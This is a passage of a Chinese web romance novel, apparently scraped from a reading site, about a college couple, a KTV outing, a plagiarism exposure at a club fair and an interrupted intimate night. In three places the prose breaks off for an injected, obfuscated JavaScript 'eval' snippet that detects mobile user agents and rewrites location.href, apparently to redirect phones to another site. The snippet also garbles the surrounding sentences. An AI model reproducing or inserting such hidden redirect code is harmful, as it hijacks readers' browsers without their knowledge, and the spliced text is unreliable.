已经是一年多以前的新闻,文件里的内容都是报导中没有收录的一些边角料,既不全面,也没什么新意。出现在这里,大概是主任在整理过期的文档。 可程霏霏却在一堆鸡肋的文字中,留意到一条于她而言十分重要的信息—— 当时,解成坤总计骗取了村民的拆迁款将近五百万元,还潜逃了整整半年,警方一直抓不到他。 后来之所以落网、并迅速定罪,概是因为有人悄悄提供了他本人的行踪以及关键性证据。 这个人,就是他的儿子。 * 暮色无声地降临,天上浮现出许多奇形怪状的云彩。 程霏霏仰着脖子,望着橙紫色的晚霞,感觉到心底有一点哀婉的悲伤。 暑假,校园里的人不多,理科大楼前只有零星的人影。 江羽从门厅里出来,一眼就看到了坐在围栏上望天的程霏霏。 少女明眸轻转,黑长的发丝随着夜风轻轻荡起,一条玲珑细辫垂在肩头。肌肤赛雪,在暮色中愈发显得清丽绝伦。 江羽屏住呼吸,悄悄靠过去。 离得近了,才从身后一把揽住程霏霏的腰,刚想在她的脸颊上落下一个亲亲,就被程霏霏一巴掌拍在了脑门上。 “公共场合,注意影响!” 江羽笑着把头埋在程霏霏的颈窝,瓮声瓮气地问:“今天开心吗?” 程霏霏的脸颊鼓了鼓,没说话。 江羽觉得奇怪,绕到身前,平视着她的眼睛:“怎么了?” 程霏霏却忽然倾身,鼻尖几乎贴上他的眼睫。 “我们找个地方,快乐一下吧?” “好啊……”江羽咽了口唾沫,想象力已经挣脱理智的缰绳,迅速飙上了高速,“霏霏想的话,我自然……要奉陪。” 半小时后,他们在光芒四射的江边KTV下了车。 江羽震惊地站在门口,看到墙上一张金洒洒的落地大海报上写着—— “用音乐抚平你皱起的眉头,享受属于你的快乐夜晚”。 江羽:“……” 程霏霏昂首挺胸,率先进了旋转门,走出了一种宾至如归的气场。 前台的美女看到她,笑盈盈地打起招呼:“霏霏,又带朋友来呀?” 说着,目光朝她身后的人身上一瞟,立刻笑得暧昧,用口型问:“男朋友啊?” 程霏霏弯了弯嘴角,没有否认。 “姐姐,我还要上回那个包厢。” * 暗色的包厢装修得极有格调,挂着条状的灯带,光线扑朔迷离,散发出一种未来时空的科技感。 程霏霏推着江羽的肩膀走进来,安排他在沙发上坐下,自己走到点歌台前,拿起麦克风。 迷离灯光下,江羽看到她沉静的侧颜。 “我知道,你在酒吧打工的时候已经唱够了。所以呢,今天主要由我来唱,你负责听。” 程霏霏侧过头,蓝紫色的灯光打在她的脸上,照得那双美目像浸在冰水里的玻璃球,一边纯净清透,一边又闪着妖娆的弧光。 她点完歌,拿着麦克风,落落大方地站在房间中央。而江羽浅笑着坐在台下,仿佛在仰望女神的倩影。 音乐声响,程霏霏放开歌喉。 可乍一开口,调子便一个劈叉,径直拐去了波罗的海。 低音时音抖,高音时刺耳,麦克风里的歌声与视频里的原唱南辕北辙,主打一个风马牛不相及。 江羽憋笑憋得肩膀都在抖,最后实在没忍住,在沙发里笑得东倒西歪。 ——谁能想到,KTV老板家的独生女,居然是个音痴呢? 他笑得眼泪都出来了,赶紧抹了一把眼角,强迫自己平静下来,乖乖坐好,听程霏霏把歌唱完。 而程霏霏对他的反应浑然不觉,依旧沉浸在自己的歌声中。 她一连高歌了好几首,把时下最流行的华语金曲全部祸祸了一遍之后,才拿着麦,看向台下。 “我经常带朋友来这里唱歌,每次都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376282|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们唱,我从来不唱歌给别人听。因为我知道,自己唱歌只会逗人发笑。” 江羽嘴角的笑容一滞,从沙发里站起身。 程霏霏却接着说:“但是今天,我想让你多笑笑。” 江羽轻轻叹了口气,快步走到程霏霏跟前,俯下身,对准她胸前的话筒。 “谢谢这位想逗我笑的姑娘,我很开心。但是也挺好奇,究竟发生了什么事,让你想要哄我?” 程霏霏犹豫了一瞬,把话筒放下。一片跳跃的灯影里,她的眸光闪了闪。 “我好像知道,你为什么会来江城了……” 江羽的眉间浮现几缕疑惑。 “你不是被养父母抛弃的,你从一开始,就打定主意要让生父绳之以法,所以,才跟着他回来的,对么?” 程霏霏的嗓音酸哑,透着一股心疼:“为了这种事,值得吗?” 良久的沉默。 江羽没有立即回答,好似花了点时间来消化这句话里的信息。 少倾,终于勉强挤出一个笑:“嗯,你猜得没错。” 他低垂着眸光,语气有些怅然:“抱歉,这种事应该早点告诉你的。” “当年,解成坤忽然出现在我周围,搅得我和我的家人不得安宁。”江羽的语速缓慢低沉,“我的养父母和寻常人不同,有些名气……他就是抓住了这一点,想要兴风作浪。我不能允许爸妈因为我,被那种人渣长期勒索。于是就假意和他相认,跟着他走了,毕竟——” 说到这里,江羽的语气忽然僵了僵。 莫名的,程霏霏在他那总是含笑的眉眼间,捕捉到一抹淡淡的哀伤。 “我对我的养父母而言,也只是……” 程霏霏却忽然捂住了他的嘴:“我们不是说好今天是来找乐子的吗?我不想聊这个不开心的话题了!” 江羽被捂着嘴,点了点头。握住她的指尖,放在唇边,轻轻一吻。 程霏霏不好意思地抽回手指,心里有点忐忑:“那你……还会回去吗?我是说,回你养父母那里。” “回不去了。”江羽的笑意很淡,轻轻摇了摇头。 晃动的光线落在他的眼睛里,像潜入深沉的海。 离开的时候说了那样决绝的话,他已经没办法再重新做回他们的孩子了。 江羽抬起手臂,将程霏霏拥进怀里,祈愿般地低语:“霏霏,我只有你了。” 包厢里安静极了,电视已经静音,无声地播放着一些MV的画面,犹如一幕幕悲欢离合在限定上演。 程霏霏甚至能听到隔壁房间的歌声,丝丝缕缕地飘过来,歌词清晰可闻—— Dadalwaystoldmedon''tyoucrywhenyouaredown 爸爸过去总说即使低落也别掉下眼泪 Butmumthere''sateareverytimethatIblink 但是妈妈我每眨一下眼睛都会有夺眶的泪珠落下 I''minpiecesit''stearingmeupbutIknow 一切都在将我撕裂成片但我知道 Aheartthat''sbrokeisaheartthat''sbeenloved 破碎的心是缘于曾经被爱过啊 …… 程霏霏环住江羽的腰,让他离自己更近一些。 一只手抚上他的背,就着空气中的旋律,轻轻打着拍子。 就这么相拥了一会儿,程霏霏感到整颗心像是泡在了柠檬水里,又酸又胀。 她喃喃地说:“以后,我就是你的家人。” “嗯……”江羽使劲点了点头,享受似的蹭了蹭她的头发,启唇而笑,“不过,我的家人,音准可都是极好的。” 程霏霏:“……” 好啊,我掏心掏肺地安慰你,你居然还有心情开我的玩笑! 积攒的伤感顷刻间就崩塌了,程霏霏毫不留情地曲起手肘,对准江羽的小腹就来了一下。 江羽哀号一声,捂着肚子,疼得半天直不起腰来。 程霏霏甩着小挎包,气冲冲地打开包厢大门,头也不回:“嗨唱时间结束了,还赖着不走?” 江羽抬头,观察她的神色,感到那持续了一整晚的低落终于烟消云散了,才笑着直起身,追着她的脚步往门外跑去。 48. 48 Angel 又是一年的社团招新季。 正午时分,学校的中心小广场上人山人海,新生如云。 任可心撸起卫衣袖子,举着一只比脸还大的扩音喇叭,像超市里大甩卖的售货员,不要钱地高吼—— “兄弟们!姐妹们!来爱鸟社吧,一起爱护鸟类,保护大自然,散发出属于你的人性光辉——” 蓦地,又冲前方的一道身影大吼:“喂,发传单的内个,别偷懒!” 站在太阳地里、已然被晒成一只乌鸦的项凡:“……” 今天真是倒了八辈子霉! 裴一舟在学生会,江羽在实验室,唯独他,奇迹般的有了一丁点空闲时间,刚想去学校外边的网吧放松一下,却在宿舍楼下被任可心堵了个正着,然后便被抓来,干这等苦力。 他穿着任可心同款的卫衣,胸前印着一只黄绿色的非洲斑鸠。斑鸠看上去不太好惹,还莫名带着一股傻气,既没有头脑,也不太高兴。 项凡叹了口气,抬起麻木的手臂,继续往新生怀里塞传单。 不一会儿,任可心也喊得口干舌燥,撑不住了。 她仰脖灌下半瓶矿泉水,回过头,冲帐篷里纳凉的程霏霏喊:“发什么呆呢?我嗓子都快喊劈了,你快来帮帮我!” 程霏霏这才回神,起身接过任可心手里的大喇叭,按下尾端的播放键。 提前录好的宣传语登时鱼贯而出,与刚刚的喊声分毫不差。 任可心:“……” 程霏霏坐在接待用的长桌边,支着下颌,继续发呆。 至于发呆的内容…… 上周,她带着江羽去了自家的KTV,还祭出了程氏独门歌声,想要逗他一笑。 好巧不巧,离开的时候,在大门口撞上了程皓南。 彼时,她勾着江羽的胳膊有说有笑,两人的状态如胶似漆,落在她哥眼里,什么关系已经昭然若揭,没有丝毫隐瞒的余地。 当然,她也不想瞒着。 程霏霏之所以会带江羽去KTV,心底就已经猜到,十有八九会碰到她妈或者她哥。再不济,KTV的员工也一定会把她领着男朋友过来的消息转告她的家人。 心里暗戳戳地,还有些高兴。 可没想到的是,程皓南的反应却有些不同寻常——他看上去好像不怎么惊讶,只是面无表情地安排程霏霏先回家,他要和这位小男友“单独谈谈”。 程霏霏当时就不乐意了,什么厉害的话,就不能坐下来一起说? 可江羽在袖子下悄悄拉了拉她的手,对着她眨了眨眼睛,安抚道:“你先回家,我们明天学校见。” 程霏霏心神不宁地打车回了自己家,一整夜辗转反侧,总是在猜测他哥到底要和江羽聊什么。 第二天,她起了个大早,顶着两个黑黢黢的熊猫眼冲进程皓南的卧室,一把将他从床上薅起来,摇着他的脑袋质问,昨天和江羽到底聊了些啥。 程皓南睡眼惺忪,打着呵欠说:“就随便聊聊呗。我妹谈恋爱了,我这个当哥的自然要敲打敲打那小子,让他对你规矩点。” 程霏霏半信半疑,也实在问不出更多。 她吃完早饭便赶去了学校,把正在开小组会的江羽叫到跟前,好一通盘问。 江羽倒是神色如常,一副十分轻松愉悦的模样,看不出一点不开心,给出的说辞也和程皓南的完全对得上。 程霏霏似信非信地点了点头,内心却有种奇怪的直觉。可是,琢磨来琢磨去,也没想出个一二三来。 她正在帐篷下独自发着愣,余光里出现一道人影。 程霏霏眼皮也没抬,公事公办地递上一张报名表。 “欢迎加入爱鸟……咦,你是,周韬?” 程霏霏足足辨认了三秒,才认出来人。 周韬的长相平平无奇,平时还总戴着一副大框黑边眼镜,在人群里着实其貌不扬。 不过,今天的他很不同,不仅没戴眼镜,还顶着一头骚包的亮银色假发,小臂上画着一串骷髅头,整个一副叛逆不羁的摇滚歌手扮相。 程霏霏毫不客气地上手,搓了搓他小臂上的纹身:“这是真的?” 周韬赶紧躲闪:“贴的,贴的!” “今天吉他社招新,我们乐队过来造个势,就……临时整了点行头。”周韬有点不好意思。 程霏霏抬眼望去,小广场的中心处,不知什么时候已经搭起了一座小型舞台。 吉他社的人在那边忙得团团转,搬运着各种设备音响,上空还拉了大横幅——【欢迎加入吉他社,天雷地火在等你!】 看样子,这里即将要有一台热闹的演出了。 吉他社为了招新,还真是不惜血本。 任可心的眼珠子都快瞪出来了,恨恨地说:“完蛋了,这下咱们被挤兑得,更招不到人了!” 不一会儿,乐队那边准备完毕,有人唤周韬赶紧过去。 他依依不舍地看向程霏霏:“上回,是我第一次唱,唱得不好。后来,我又练了很久,还自己写了一首歌,今天想要唱给你听。” 程霏霏眨了眨眼,表情有点茫然。 她想不起来什么时候听过他唱歌。 周韬脸有点红,说完话,就飞也似的跑回了乐队成员的身边。 音响噫哩哇啦地响起,演出开始了。 听上去好像是一首情歌,旋律有点复古,带着点中国风的调调,十分悦耳好听。 只是可惜,唱得有些一言难尽。 程霏霏想,真是白瞎了这首歌。 她懒得听了,埋头和黎玥聊微信。 黎玥:【猜猜我的学生开学摸底考了多少分?四十,四十!家长都不好意思见老师,非要我去学校开家长会。】 程霏霏:【跟他们说,那是另外的价钱。】 几条信息发完,远处的歌也唱完了。 程霏霏松了口气,有些不懂——吉他社怎么想的,找了周韬这么个乐队主唱? 长得平平无奇就算了,水平也就她家KTV客人的平均值。 他们这是来招新的,还是来劝退呢? 周韬站在台上,心情很是激荡,抱着话筒,气喘吁吁地说:“这首歌是我的处女作,名字叫做《你不知道我爱你》。我,我想把它献给在场的一位女生,她,她就是新闻传播学院大三的程——” 忽然间,一串刺耳的吱呀声自某个角落里蹿出,如同一道电流,横扫过整片小广场,彻底湮没了周韬的声音。 大家纷纷捂住耳朵,而程霏霏下意识地抬眼,望向身前的噪音来源—— 江羽刚刚下课,单肩勾着书包,整个人斜倚在长桌边,神色冷峻。 他手里举着爱鸟社的那枚大喇叭,冲着台上发言的周韬:“送给女孩子的歌,还是选一首没抄袭的吧。” 这句话,可比刚刚的电流音刺激多了! 如一颗入水的石子,瞬间搅荡起沸腾的涟漪。一时间,整个广场上的人都开始七嘴八舌地议论起来。 周韬顿在原地,脸上一阵红一阵白,急急辩解道:“怎,怎么可能?你,你少血口喷人!” 江羽的眼神极为从容,声音波澜不惊:“你的旋律照搬了一首老歌,名字叫作《烟雨辞》。原作没什么知名度,因为它并没有公开发表过,只是参加了早年的一届创作比赛,被作者当成年少时的不成熟之作,收在选手实录中罢了。你应该是在那里找到的曲谱吧?” 周韬震惊得脸都绿了——他好不容易从老师书房里翻出来的古董歌本,这个人怎么会知道的? 程霏霏也有相同的疑问,眨着好奇的眼睛看向身旁的人。 江羽感受到她的目光,不知为何,眼神有些躲闪:“……这首歌的作者,还挺有名的。” 已经有人拿出手机,开始搜索创作者的名字。 “我去,竟然是江叔!” “抄谁不好,偏偏去抄江静潮,这不是搬起石头砸自己的脚?” 一时间,在场的学生们都有些瞠目结舌。 江静潮,国内知名作曲家兼制作人,写过的名曲不计其数,是家喻户晓的高国民度作者。很多当红歌手都唱过他的歌,在音乐界属于国宝级的厉害人物。 周韬竟然敢抄袭大佬初出茅庐时候的作品,怎么说呢,只能赞一句眼光还算挺不错。 只可惜,运气背了点,第一次公开演唱,就被人当众揭了底。 台下讨论得沸沸扬扬,台上的周韬已经有些站不住了。 抄袭这事板上钉钉,他百口莫辩。只是,被这么多人同时看着,尤其这些眼睛里,还有一双是程霏霏的…… 周韬忽然哀嚎一声,从舞台上跳下来,大哭着跑远了。 “……”在场的人,不论是台上还是台下的,全部傻了眼。 全场最爽的莫过于任可心了,幸灾乐祸地说:“这下好了,主唱都跑了,看他们这天雷地火还烧不烧得起来!” 吉他社那边已经乱成了一团。 好不容易搭起来的舞台,花钱租到的设备和音响,难道就这样打了水漂? 果然,吉他社的社长,一个和周韬打扮得有几分神似的叛逆男子,大步流星地穿过人群,朝他们走来。 他上来就指着江羽的鼻子兴师问罪:“你,把我的主唱骂跑了,我的演出怎么办?你这个罪魁祸首,要赔偿我的经济损失!” 江羽:“……” “噗——”程霏霏在一旁没忍住,笑出了声。 她怎么会看不出,江羽这家伙,明明就是在吃飞醋! 非要当众叫人下不来台,这下好了,把人给赶走了,反倒叫这吉他社的社长给讹上。 程霏霏使劲按下扬起的嘴角,抬起手臂,一把将江羽推到了这位讨债的社长跟前。 “急什么,不就是跑了一个主唱而已,再赔给你一个就是了!” * 江羽怎么也没想到,他“谴责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389375|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抄袭”的正义之举,换来的结果,竟然是自己站在这简陋的广场小舞台上,迎着初升的晚霞和夏末的暖风,替这个乐队把歌唱完。 江羽抬起眼眸,望向人群中抱着胳膊看热闹的程霏霏。 夏风撩起她的发梢,点漆般的眸子里盈满笑意,还带着一缕促狭,像恶作剧得逞的小孩,就这么似笑非笑地望着他。 江羽的唇角也跟着勾起一弧微笑。 他回身,对身后的乐队成员低语了几句。 成员们很快会意,几秒钟后,轻柔舒缓的旋律便如流水般倾泻而出,在校园小广场上盘桓回荡。 前奏并不陌生,是歌手TroyeSivan的《Angelbaby》。 江羽一手握着麦克风,一手扶着麦架,眼睛直直地望向人群里的女孩—— Youcameouttheblueonarainynightnolie 依然记得/某个雨夜/你的不期而至 ItellyouhowIalmostdied 那时的我心如死灰 Whileyou''rebringingmebacktolife 而恰恰是你让我宛若新生 Ijustwannaliveinthismomentforever 我只想定格此刻的美好/永远定格 CauseI''mafraidthatlivingcouldn''tgetanybetter 因为我害怕/未来的我难再拥有这般温馨时刻 Startedgivinguponthewordforever 那时的我对所谓的“永恒”不抱希望 Untilyougaveupheavensowecouldbetogether 却发现你舍弃天堂/坚持与我携手相伴 Youaremyangelangelbaby 你就是我的天使/无可取代的唯一 Angelyou''remyangelbaby 你就是我的天使/绝无仅有的美好 AllthissickandtwistednightsthatI''vebeenwaitingforya 充斥着痛苦与纠结的夜/只为你的出现 Babyyou''remyangelangelbaby 宝贝/你就是我的天使 Myangelangelbaby 我的天使宝贝 …… 紫红色的霞光如倾倒的颜料,片刻就晕染了大半天空。 一张张脸孔被映照得瑰丽,现场如梦似幻,像热情又浪漫的海。 江羽站在简陋的小舞台上,衣摆随性地扎进牛仔裤里,姿态松弛又不羁,帅得惊人。 他的目光掠过人群,只看向程霏霏一人。 主唱这明晃晃的示爱举动岂能瞒得住台下的观众?很快,大家纷纷侧目,饶有兴味地探望着程霏霏的方向。 程霏霏好像被这歌声击中了,难以动弹。 心弦混乱地震动,体温节节攀升,浑身都漫起模糊的、热切的颤栗。 她慌张地低下头,碰了碰自己的脸,那温度烫得吓人,仿佛是在发烧。 旁边,任可心也忍不住跟着心神荡漾,几乎在用喊的说:“天啊,这首表白神曲,就这样当着全世界的面唱给你听,也太浪漫了吧!看得人好想谈恋爱!妈妈,我也想包养一个学弟了!” 正在沉浸式听歌的项凡顿时打了一个寒噤。 程霏霏忍着即将要脱口的心跳,强迫自己抬起头,与台上的人目光相接。 江羽的眼睛噙满了笑意,深邃含情。 看向她的眼神直白又炙热,伴随着响彻云空的音乐声,源源不断地流淌进程霏霏的心口。 太滚烫了,灵魂要融化了。 程霏霏想不到,有一天,她竟然会被人当众借歌传情,表白到无所适从。 音乐这东西真的好神奇。 可以这样公然,像烈日下的阳光,明目张胆地暴晒着在场每一寸头顶。 也能够极尽私密,如情人间的低语,在人声鼎沸中,将爱意精准地传入她一个人的耳朵。 周围的人群里响起女生们此起彼伏的尖叫。 “好帅啊这个主唱!他是谁啊!” “三分钟,我要知道帅哥的院系和联系方式!” 可是程霏霏完全不在意了。 她已经清楚地感知到,自己正在被人盛大地爱着。 有越来越多的学生涌过来,小广场已经堵得水泄不通。 人群越来越亢奋,而程霏霏独自沉浸在美妙的旋律里,唇角扬起,散发着由内而外的幸福和甜蜜。 “我也……好爱你呢。” 她颤着盈盈水眸,轻声道。 49. 49 由于江羽的积极配合,当天的招新演出最终完满落下了帷幕。 结束的时候,天已经黑透了。 吉他社的人收拾完各种家伙什儿,决定出去搓一顿宵夜,庆祝庆祝。 吉他社社长,以及“天雷地火”乐队的其他成员,都已经为江羽的歌声彻底折服,无论如何都要捎上他一起,顺便借此机会,拉拢他进来当主唱。 任可心早就看穿了对方的企图,自然不能同意。 双方拉拉扯扯了半天,最终的结果变为:由吉他社社长出资,吉他社和爱鸟社两拨成员一起去校外,进行一场亲切友好的会餐。 地点就选在学校后街的24小时烧烤店。 没有什么矛盾是一顿烧烤解决不了的。饭桌上,一拨人又是互相灌酒、又是头对头聊八卦,插科打诨,迅速混熟了起来。 白天抢人的势同水火,眼下已经荡然无存。 任可心甚至还拉了一个群,扬言,要带着吉他社的小弟们去后山上看鸟。 几轮下来,大家都有些熏熏然。 江羽是全场唯一一个没有喝酒的,自动当起了跑腿的小二,为大家鞍前马后地搞服务。 酒过三巡,江羽在社长的派遣下第N次去厨房催加菜,竟然在饭店门口看到了一脸丧气的周韬。 * 烧烤店的后巷,周韬怏怏地靠在电线杆子上,像一坨彻底失了生机的行尸走肉。 江羽抱臂站着,拧眉看着他这副颓废的样子,有些无语。 “想写歌就好好写,早晚会有成果,犯不着偷别人的。” 而周韬依旧蔫蔫的,过了好一会儿,才蹦出一句话:“我今天才知道,都说程霏霏包了个学弟,竟然是真的。” 江羽无所谓地嗤笑一声。 对于这些说法,他向来懒得解释。 包养对象也好、男朋友也罢,只要他和霏霏之间是真的,别人嘴里八卦的名头是怎样的,他不在乎。 周韬忽然抬起脸,目光像濒死的鬓狗,阴郁地盯着最后的猎物。 “你就不好奇,她为什么会包养你吗?” 江羽皱了皱眉。 感觉这场谈话注定毫无价值,他懒得再浪费时间,转身便走。 “我室友李泽昱,你听说过的吧?” 江羽的步子一顿。 “程霏霏喜欢的是谁,你我心里都清楚。”周韬讥笑了一声。 “她之所以和你在一起,还不是因为李泽昱不在江城?但你猜怎么着,李泽昱在香港那边提前修完了学分——他就要回来了。” 江羽的心里,蓦地空了一拍。 他不得不承认,对这个消息,没法无动于衷。 “别太得意了。”周韬的嗓子嘶哑着,莫名有点瘆人,“你觉得,她还能稀罕你几天?” * 程霏霏今天只浅浅喝了一小杯啤酒,醉意并不明显。 她把挂在她身上吱哇乱叫的任可心拎起来,丢给了项凡。 “人交给你了,安全送到女生宿舍!” 还不等项凡拒绝,任可心倒是先死死地抱紧了他的胳膊,大着舌头嚷:“霏……霏霏,你不回啊?” 程霏霏在闺蜜的小脸上拍了拍,也没回答,嘚瑟地拎起自己的包,转身牵起了江羽的手。 “在这里发什么愣?” 江羽回神,冲她笑笑:“没什么……不早了,我送你回去?” 程霏霏却抿起小嘴,神秘地摇了摇头。 趁旁人不注意,她垫起脚尖,贴上江羽的耳侧。 轻声软语,像是勾在人心上:“我要跟你回家!” * 电梯门还没关紧,江羽已经俯身过来,抓住了程霏霏的肩膀。 向后轻轻一推,人按在了光洁的镜墙上。 火热的吻连绵不断地落下来,在她的脸颊、耳垂和嘴角一一碾过。 被亲得多了,程霏霏已经逐渐适应了这样汹涌的节奏。 她应接不暇地伸出一只手,摸索着按了楼层。 “等……等到家再……” “叮”一声,电梯到达。江羽拉着她的胳膊,迅速打开家门,穿过客厅,径直去了次卧的书房。 书房是原本的衣帽间改造的,一张黑胡桃色的书桌静静地立在黑暗里,桌上堆满了各种书籍和铺开的学术资料。 江羽挥手,毫不在意地将桌上的东西扫到一旁。 纸张和书本散了一地,他也全然不顾,扶着程霏霏的腰,将她抱坐在了桌子上。 程霏霏的惊呼还没出口,就被江羽探身封住。 程霏霏觉得,今晚的江羽有一点奇怪。 他不说话,看着她的目光幽深莫测,满眼尽是沉郁的渴望。 落下的吻贪婪又急迫,重重地吮在她露出的皮肤上,带着噬咬的力度,让她感到细微的涩疼。 密集的亲吻下,带着凉意的手已经滑进了衣摆,强势地触碰她所有的敏感。 程霏霏被揉得有些受不住,眼前阵阵失焦,额上漫起潮热。 她双手抵在江羽的胸前,手腕却忽地被拽住,她下意识地挣扎了一下,却被江羽扣得更紧。 整个人被推倒在桌子上。 江羽终于松开了她的手腕,从她身上撤离。 程霏霏张口呼吸着新鲜的空气,以为这场亲密已经暂时告一段落。 一片浑浊的意识里,突然听到了皮带碰撞的轻响。 昏暗的房间里,这响声尤为明显,像一道清晰的信号,划过她的脑海。 紧接着,身下骤然一僵——江羽已经分开她,重新覆了过来,用鲜明的触感验证了她的猜测。 程霏霏睁大了眼睛,呆呆地瞪着天花板,连推拒也忘了。 江羽伏在她身上,严丝合缝地抵着她,灼热的呼吸喷洒在她的唇角,带着压抑的躁动。 感觉到她的僵硬,他一只手按在颈侧,没有看她的眼睛。 “不愿意么?” 这是他今晚到家后,对她说的第一句话。 这样关键的时刻,程霏霏的思绪竟然神奇地跑了偏。 眼下的情形,多么像八国联军已经带着炮火登陆了大沽,却还要装模作样地遣使,问愿不愿意开放通商。 她用仅剩的力气抬起手,抚上江羽的脸,强迫他直视自己的眼睛。 素日清泉一般的瞳仁,此刻为她染上了浑浊的欲色,还夹杂着一丝她看不懂的阴郁和不安,却仍旧漂亮得浑然天成。 只需一个动作,她便可以完完整整地拥有他。 自己死皮赖脸、好不容易缠上的人,会彻底成为她的。 她怎么会不愿意? 程霏霏仰起头,讨好地蹭了蹭江羽的鼻尖,声音极尽柔糯:“你……轻一点。” 说完,她紧紧地攥住江羽的衣角,卷翘的睫毛因为紧张和期待而扑簌簌地颤着。 然而,预想中的痛楚迟迟没有到来。 黑暗中,江羽搂着她,一动未动。 怀里的姑娘是他梦寐以求的人,带着信赖又娇羞的眼神望着他,仿佛他是这个世界上她最喜欢的人。 喜欢到,什么都可以给他。 这样宠溺的眼神,竟然轻而易举地安抚了他今晚被挑拨起来的、患得患失又焦躁不安的心。 江羽忽然看清了自己内心深处那团熊熊燃烧、差点将理智焚烧殆尽的卑劣妒火。 他松开了程霏霏,狼狈地后退几步。 刚才的一瞬间,他知道,自己有多么卑鄙。竟然妄图用身体的占有,去捆束住爱人的心,想要将她留在身边。 江羽的眼睛里闪过愧疚的无措,突然转身,夺门而出。 一连串关门的声音在外间响起,紧接着,哗啦啦的淋浴声从浴室的方向传来。 “……” 程霏霏难以置信地躺在桌子上,眼睛瞪得比铜铃还大。 没错。 她刚刚,被一个男人,拒绝了。 拒。绝。了。 恼意混杂着羞窘,瞬间冲上了天灵盖。程霏霏脸烧得像火炭一样,冲天的咆哮声在整栋公寓里响起—— “江羽,你给我滚回来!” * 是夜,程霏霏直挺挺地躺在床上,犹如一具僵硬的木乃伊,纹丝不动。 宽敞的大床上,卷成长条状的毛毯横在她和江羽之间,仿佛楚河汉界一般,将床上的空间一分为二。 江羽在一旁低声下气地道歉:“霏霏,还在生我的气啊?” 程霏霏默了半晌,忽然坐起身,打开床头灯,眼含忧虑地盯着他看了一会儿,用怀疑的口气问:“江羽,你年纪轻轻的,该不会……有什么隐疾吧?” 江羽:“……” 他挑了挑眉,忽然一把攥住程霏霏的手腕,拉着她就探向了某一处。 “有没有隐疾,你自己感受一下?” “流氓!”程霏霏羞红着脸,将他一脚蹬开,气得卷着被子滚到了床的另一边。 江羽趁机把那个碍眼的毛毯抬手扬了,笑着跟上去哄:“怎么害羞了?” 他将人搂进怀里,贴在耳边低语:“你忘了,上次你……” 程霏霏拎起自己的枕头,毫不留情地把江羽轰出了主卧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411928|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 门在他眼前“嘭”一声关上。 江羽刚要敲门讨饶,门又重新开了,那条碍眼的毯子飞了出来。 江羽赶紧接住毯子,还没来得及说话,卧室的门又摔上了,还在里面上了锁。 江羽:“……” 小黄守在他的脚边,尾巴摇得飞快,似乎在开心主人今晚终于可以和自己一块睡客厅了。 * 寂静的夜晚,连风也变得平和。 江羽穿着睡衣,站在小阳台上。 今晚的月亮很美,光洒在远处的江面上,映得水面波光粼粼,不似往昔那般空洞黑茫。 小黄靠着他的脚踝,蔫蔫地打着盹。 这样平静而美好的时刻,江羽却忽然想起,那天在KTV和程皓南的对话。 那晚,程霏霏前脚刚离开,程皓南后脚就去了自己的办公室,江羽只能沉默地跟上。 一进门,他就主动开口:“程哥,我……” “停,还轮不到你叫我哥。” 程皓南抬手打断了他的话,绕到办公桌前,点起一根烟。 “公寓住着还舒服么?” 江羽顿了一下,解释道:“我不会白住,房租……” “我知道你有付房租。霏霏用的是我的副卡,她不看还款纪录,我看。” 程皓南吐了口烟圈,在自己的椅子里坐下,慢条斯理地说:“住在她那儿的人,我不可能不查。你俩的事,霏霏的父母暂时还不知道。我提前跟你打声招呼,他们不会同意的,明白吗?” 江羽毫不惊讶,只是僵硬地点了点头。 “渔村那帮人,龙蛇混杂,也不懂什么法律判决。他们认定是你的债,你就一辈子躲不掉。” 程皓南掸了掸烟灰,递过去一个意有所指的眼神:“我妹什么性子,我很清楚。别看平时拽得那个样儿,心其实特别软。上次能以身犯险去救你,以后说不定就会砸锅卖铁给你还债。” 浓白的烟雾挡不住程皓南凛若冰霜的目光:“你这算盘,打得还挺响。” 江羽错愕地抬起头,仿佛被人从头到脚浇了一盆冷水。 心也像捆了一颗石头,直直地坠了下去。 “无论你相不相信,我从来没有那样打算过。” “那最好。”程皓南看上去也未见得相信,或者说,他压根也不在意江羽真实的动机。 他程皓南的妹妹,想要什么样的男人没有?无论如何,都不能和一个债务缠身的穷小子在一起。 “我不想把事情做得太绝,你自己找个理由,离我妹远点。” 程皓南觉得,自己的意思已经表达得非常清楚了,起身就要往外走,送客的意思很明显。 而江羽却立在原地,不甘地追问:“如果,我能够把那笔钱填上,令整件事情平息,是不是就可以继续和霏霏在一起?” 程皓南眉心一动,重新打量了他一眼。 眼前的少年站得笔直,面对他的斥退,没有恼羞成怒,也没有发誓赌咒,只是很务实地想要和他谈条件。 生意场上和小程总谈条件的人有很多,可像江羽这样年纪小、口气却大的,倒是罕有。 真以为五百万那么好挣? 